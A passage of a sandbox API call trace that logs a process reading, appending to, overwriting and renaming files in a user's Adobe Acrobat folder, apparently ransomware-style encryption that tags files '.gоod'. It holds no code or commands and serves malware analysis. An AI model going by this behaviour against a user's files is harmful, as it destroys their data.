(lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr65536.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0139.683] GetFileType (hFile=0x630) returned 0x1 [0139.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0139.683] GetFileType (hFile=0x630) returned 0x1 [0139.683] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6eb438*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6eb438*=0) returned 0x1000 [0139.683] ReadFile (in: hFile=0x630, lpBuffer=0x394f6c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6eb408, lpOverlapped=0x0 | out: lpBuffer=0x394f6c8*, lpNumberOfBytesRead=0x1f6eb408*=0x1000, lpOverlapped=0x0) returned 1 [0139.685] CloseHandle (hObject=0x630) returned 1 [0139.685] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat", lpFilePart=0x0) returned 0x44 [0139.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0139.685] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr65536.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0139.685] GetFileType (hFile=0x630) returned 0x1 [0139.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0139.685] GetFileType (hFile=0x630) returned 0x1 [0139.685] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6eb438*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6eb438*=0) returned 0x1aaac [0139.685] WriteFile (in: hFile=0x630, lpBuffer=0x3950af0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6eb328, lpOverlapped=0x0 | out: lpBuffer=0x3950af0*, lpNumberOfBytesWritten=0x1f6eb328*=0x10, lpOverlapped=0x0) returned 1 [0139.686] CloseHandle (hObject=0x630) returned 1 [0139.686] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat", lpFilePart=0x0) returned 0x44 [0139.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0139.686] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr65536.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0139.686] GetFileType (hFile=0x630) returned 0x1 [0139.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0139.686] GetFileType (hFile=0x630) returned 0x1 [0139.686] ReadFile (in: hFile=0x630, lpBuffer=0x3952dc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6eb3b8, lpOverlapped=0x0 | out: lpBuffer=0x3952dc0*, lpNumberOfBytesRead=0x1f6eb3b8*=0x1000, lpOverlapped=0x0) returned 1 [0139.801] CloseHandle (hObject=0x630) returned 1 [0139.801] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat", lpFilePart=0x0) returned 0x44 [0139.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0139.801] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr65536.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0139.801] GetFileType (hFile=0x630) returned 0x1 [0139.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0139.801] GetFileType (hFile=0x630) returned 0x1 [0139.802] WriteFile (in: hFile=0x630, lpBuffer=0x34883e8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6eb468, lpOverlapped=0x0 | out: lpBuffer=0x34883e8*, lpNumberOfBytesWritten=0x1f6eb468*=0x1010, lpOverlapped=0x0) returned 1 [0139.802] CloseHandle (hObject=0x630) returned 1 [0139.802] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat", lpFilePart=0x0) returned 0x44 [0139.802] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.gоod", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.gоod", lpFilePart=0x0) returned 0x49 [0139.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb3a0) returned 1 [0139.802] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr65536.dat"), fInfoLevelId=0x0, lpFileInformation=0x1f6eb480 | out: lpFileInformation=0x1f6eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8995a87, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8995a87, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x4f8b6804, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1aabc)) returned 1 [0139.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb360) returned 1 [0139.802] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr65536.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr65536.dat.gоod")) returned 1 [0139.803] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents", lpFilePart=0x0) returned 0x3f [0139.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb3e0) returned 1 [0139.803] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\shareddataevents"), fInfoLevelId=0x0, lpFileInformation=0x394eaa0 | out: lpFileInformation=0x394eaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76642b27, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76642b27, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe8aecfcb, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1400)) returned 1 [0139.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb3a0) returned 1 [0139.803] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents", lpFilePart=0x0) returned 0x3f [0139.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0139.803] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\shareddataevents"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0139.804] GetFileType (hFile=0x630) returned 0x1 [0139.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0139.804] GetFileType (hFile=0x630) returned 0x1 [0139.804] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6eb438*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6eb438*=0) returned 0x1000 [0139.804] ReadFile (in: hFile=0x630, lpBuffer=0x394eea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6eb408, lpOverlapped=0x0 | out: lpBuffer=0x394eea8*, lpNumberOfBytesRead=0x1f6eb408*=0x400, lpOverlapped=0x0) returned 1 [0139.805] CloseHandle (hObject=0x630) returned 1 [0139.805] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents", lpFilePart=0x0) returned 0x3f [0139.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0139.805] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\shareddataevents"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0139.806] GetFileType (hFile=0x630) returned 0x1 [0139.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0139.806] GetFileType (hFile=0x630) returned 0x1 [0139.806] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6eb438*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6eb438*=0) returned 0x1400 [0139.806] WriteFile (in: hFile=0x630, lpBuffer=0x3950198*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6eb328, lpOverlapped=0x0 | out: lpBuffer=0x3950198*, lpNumberOfBytesWritten=0x1f6eb328*=0x10, lpOverlapped=0x0) returned 1 [0139.806] CloseHandle (hObject=0x630) returned 1 [0139.806] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents", lpFilePart=0x0) returned 0x3f [0139.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0139.806] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\shareddataevents"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0139.806] GetFileType (hFile=0x630) returned 0x1 [0139.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0139.806] GetFileType (hFile=0x630) returned 0x1 [0139.806] ReadFile (in: hFile=0x630, lpBuffer=0x3952450, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6eb3b8, lpOverlapped=0x0 | out: lpBuffer=0x3952450*, lpNumberOfBytesRead=0x1f6eb3b8*=0x1000, lpOverlapped=0x0) returned 1 [0140.075] CloseHandle (hObject=0x630) returned 1 [0140.075] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents", lpFilePart=0x0) returned 0x3f [0140.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0140.075] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\shareddataevents"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0140.075] GetFileType (hFile=0x630) returned 0x1 [0140.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0140.075] GetFileType (hFile=0x630) returned 0x1 [0140.075] WriteFile (in: hFile=0x630, lpBuffer=0x34a16f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6eb468, lpOverlapped=0x0 | out: lpBuffer=0x34a16f8*, lpNumberOfBytesWritten=0x1f6eb468*=0x1010, lpOverlapped=0x0) returned 1 [0140.075] CloseHandle (hObject=0x630) returned 1 [0140.075] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents", lpFilePart=0x0) returned 0x3f [0140.075] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents.gоod", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents.gоod", lpFilePart=0x0) returned 0x44 [0140.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb3a0) returned 1 [0140.076] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\shareddataevents"), fInfoLevelId=0x0, lpFileInformation=0x1f6eb480 | out: lpFileInformation=0x1f6eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76642b27, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76642b27, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4fb4d1fb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1410)) returned 1 [0140.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb360) returned 1 [0140.076] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\shareddataevents"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\shareddataevents.gоod")) returned 1 [0140.076] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin", lpFilePart=0x0) returned 0x3c [0140.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb3e0) returned 1 [0140.076] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\usercache.bin"), fInfoLevelId=0x0, lpFileInformation=0x3ad8fd0 | out: lpFileInformation=0x3ad8fd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74f036ab, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x74f036ab, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x59d13ceb, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xf76f)) returned 1 [0140.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb3a0) returned 1 [0140.077] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin", lpFilePart=0x0) returned 0x3c [0140.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0140.077] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\usercache.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0140.078] GetFileType (hFile=0x630) returned 0x1 [0140.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0140.078] GetFileType (hFile=0x630) returned 0x1 [0140.078] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6eb438*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6eb438*=0) returned 0x1000 [0140.078] ReadFile (in: hFile=0x630, lpBuffer=0x3ad93c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6eb408, lpOverlapped=0x0 | out: lpBuffer=0x3ad93c8*, lpNumberOfBytesRead=0x1f6eb408*=0x1000, lpOverlapped=0x0) returned 1 [0140.079] CloseHandle (hObject=0x630) returned 1 [0140.079] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin", lpFilePart=0x0) returned 0x3c [0140.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0140.079] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\usercache.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0140.079] GetFileType (hFile=0x630) returned 0x1 [0140.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0140.079] GetFileType (hFile=0x630) returned 0x1 [0140.079] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6eb438*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6eb438*=0) returned 0xf76f [0140.080] WriteFile (in: hFile=0x630, lpBuffer=0x3ada650*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6eb328, lpOverlapped=0x0 | out: lpBuffer=0x3ada650*, lpNumberOfBytesWritten=0x1f6eb328*=0x10, lpOverlapped=0x0) returned 1 [0140.080] CloseHandle (hObject=0x630) returned 1 [0140.081] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin", lpFilePart=0x0) returned 0x3c [0140.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0140.081] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\usercache.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0140.081] GetFileType (hFile=0x630) returned 0x1 [0140.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0140.081] GetFileType (hFile=0x630) returned 0x1 [0140.081] ReadFile (in: hFile=0x630, lpBuffer=0x3addaa8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6eb3b8, lpOverlapped=0x0 | out: lpBuffer=0x3addaa8*, lpNumberOfBytesRead=0x1f6eb3b8*=0x1000, lpOverlapped=0x0) returned 1 [0140.665] CloseHandle (hObject=0x630) returned 1 [0140.665] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin", nBufferLength=0x105, lpBuffer=0x1f6eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin", lpFilePart=0x0) returned 0x3c [0140.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb2e0) returned 1 [0140.665] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\usercache.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0140.665] GetFileType (hFile=0x630) returned 0x1 [0140.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb250) returned 1 [0140.665] GetFileType (hFile=0x630) returned 0x1 [0140.665] WriteFile (in: hFile=0x630, lpBuffer=0x357d660*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6eb468, lpOverlapped=0x0 | out: lpBuffer=0x357d660*, lpNumberOfBytesWritten=0x1f6eb468*=0x1010, lpOverlapped=0x0) returned 1 [0140.666] CloseHandle (hObject=0x630) returned 1 [0140.666] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin", lpFilePart=0x0) returned 0x3c [0140.666] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin.gоod", nBufferLength=0x105, lpBuffer=0x1f6eaf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin.gоod", lpFilePart=0x0) returned 0x41 [0140.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb3a0) returned 1 [0140.666] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\usercache.bin"), fInfoLevelId=0x0, lpFileInformation=0x1f6eb480 | out: lpFileInformation=0x1f6eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74f036ab, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x74f036ab, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x500f6d59, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf77f)) returned 1 [0140.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb360) returned 1 [0140.666] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\usercache.bin"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\UserCache.bin.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\usercache.bin.gоod")) returned 1 [0140.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eac00) returned 1 [0140.667] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache", nBufferLength=0x105, lpBuffer=0x1f6ea6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache", lpFilePart=0x0) returned 0x34 [0140.667] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\*", lpFindFileData=0x1f6ea920 | out: lpFindFileData=0x1f6ea920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0141.103] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, 